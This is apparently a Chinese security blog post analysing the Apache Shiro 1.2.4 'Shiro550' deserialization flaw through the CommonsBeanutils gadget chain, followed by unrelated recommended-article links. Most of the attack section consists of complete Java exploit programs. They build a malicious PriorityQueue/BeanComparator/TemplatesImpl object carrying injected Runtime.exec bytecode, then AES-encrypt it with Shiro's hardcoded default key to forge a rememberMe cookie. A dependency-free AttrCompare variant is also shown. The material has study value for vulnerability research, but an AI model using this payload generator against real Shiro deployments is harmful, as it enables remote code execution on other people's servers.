Shiro反序列化分析
前言
Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections
的,除此之外还带了一个包叫做CommonBeanUtils
,主要利用类就在这个包里
环境搭建
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
之后tomat搭起来就行了,选择sample-web.war
CB链分析
先回顾一下CC4
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()
CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator
这个类
主要看PropertyUtils.getProperty
这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty
属性
写个demo测试一下
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class User {
private String name;
private int age;
public User(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("Hello, getname");
return name;
}
public int getAge() {
System.out.println("Hello, getage");
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
PropertyUtils.getProperty(new User("F12", 18), "name");
PropertyUtils.getProperty(new User("F12", 18), "age");
}
}
// 输出
Hello, getname
Hello, getage
这样就可以利用TemplatesImpl
中的getOutputProperties
方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet
类,或则改掉父类的默认值,如果忘了请回顾CC3
依赖:
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
deserialize("cb.bin");
}
}
追踪一下链的过程,在PriorityQueue
的readObject打个断点,开追,进入heapify
进入siftDown
进入siftDownUsingComparator
进入compare,到达关键点,获取TemplatesImpl的outputProperites属性
调用TemplatesImpl.getOutputProperites
进入newTransformer
进入getTransletInstance,到达世界最高城defineTransletClasses
后面就不看了,就是defineClass,至此CB链结束,还挺简单的
Shiro550分析
环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize
可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}
但是直接报错了,报的是cc中的ComparableComparator
的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator
这个类就在CC包里面,且在shiro中没有,所以寄
无依赖Shiro550 Attack
关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator
因此我们需要指定一个Comparator
- 实现java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带,且兼容性强
可以找到AttrCompare
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(beanComparator, "comparator", new AttrCompare());
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}
成功Attack
Shiro反序列化分析的更多相关文章
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Shiro反序列化复现
Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...
- Shiro反序列化漏洞复现
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- fastjson及其反序列化分析--TemplatesImpl
fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...
- Shiro反序列化的检测与利用
1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...
- 利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...
- [JavaWeb]反序列化分析(二)--CommonCollections1
反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...
随机推荐
- NEMU PA 4 实验报告
一.实验目的 在前面的PA123中,我们分别实现了基本的运算单元,实现了各种指令和程序的装载,实现了存储器的层次结构.而在PA4中,为了让NEMU可以处理异常情况以及和外设交互,我们要做的事情有以下: ...
- win32 - 匿名管道的使用
目标: 创建一个父进程和子进程,在子进程的控制台窗口输入数据,数据通过管道发送给父进程,父进程的控制台窗口读取数据,最后将数据打印出来. Parent.cpp //CMD.exe #include & ...
- centos7 安装vmware tool 遇到遇到 kernel-headers 问题修复
安装 vmware tool 步骤 1. cp VMwareTools-10.3.25-20206839.tar.gz 到 用户目录下 2. tar zxf VMwareTools-10.3.25-2 ...
- 【LeetCode动态规划#01】动规入门:求斐波那契数 + 爬楼梯 + 最小代价爬楼梯(熟悉解题方法论)
斐波那契数 力扣题目链接(opens new window) 斐波那契数,通常用 F(n) 表示,形成的序列称为 斐波那契数列 .该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和.也就 ...
- 使用矩池云 Docker 虚拟机安装VNC、Conda、Python及CUDA
矩池云虚拟机支持 Docker 使用,但是由于虚拟机目前不支持启动时传递环境变量来设置VNC.Jupyterlab 连接密码,所以我们没有创建相关基础镜像(设置固定密码容易泄漏),下面给大家介绍手动安 ...
- 【Azure 应用服务】App Service的运行状况检查功能失效,一直提示"实例运行不正常"
问题描述 为App Service配置了健康检查,单独访问Health Check Path的路径,返回代码为200.但为什么在App Service的页面上,一直提示"实例运行不正常&qu ...
- 【Azure API 管理】APIM如何配置客户端证书的CRL检测策略
证书吊销列表 (Certificate Revocation List ,简称: CRL) 是 PKI 系统中的一个结构化数据文件,该文件包含了证书颁发机构 (CA) 已经吊销的证书的序列号及其吊销 ...
- 固态硬盘使用f2fs作为根分区安装linux
目录 前言 碰到的问题 对策 我的实际操作步骤 0.警告 1. 准备 2. 分区 3. 使用网络安装debian10 4. 备份根分区 5. 修改固态硬盘linux根分区为f2fs 6.恢复备份 7. ...
- Java 多线程------创建多线程的方式二:实现 Runnable接口 + 比较创建线程的两种方式:
1 package com.bytezero.threadexer; 2 3 /** 4 * 5 * 创建多线程的方式二:实现 Runnable接口 6 * 1.创建一个实现了Runnable接口类 ...
- kafka 为什么能那么快?高效读写数据,原来是这样做到的
1. 利用 Partition 实现并行处理 我们都知道 Kafka 是一个 Pub-Sub 的消息系统,无论是发布还是订阅,都要指定 Topic. Topic 只是一个逻辑的概念.每个 Topic ...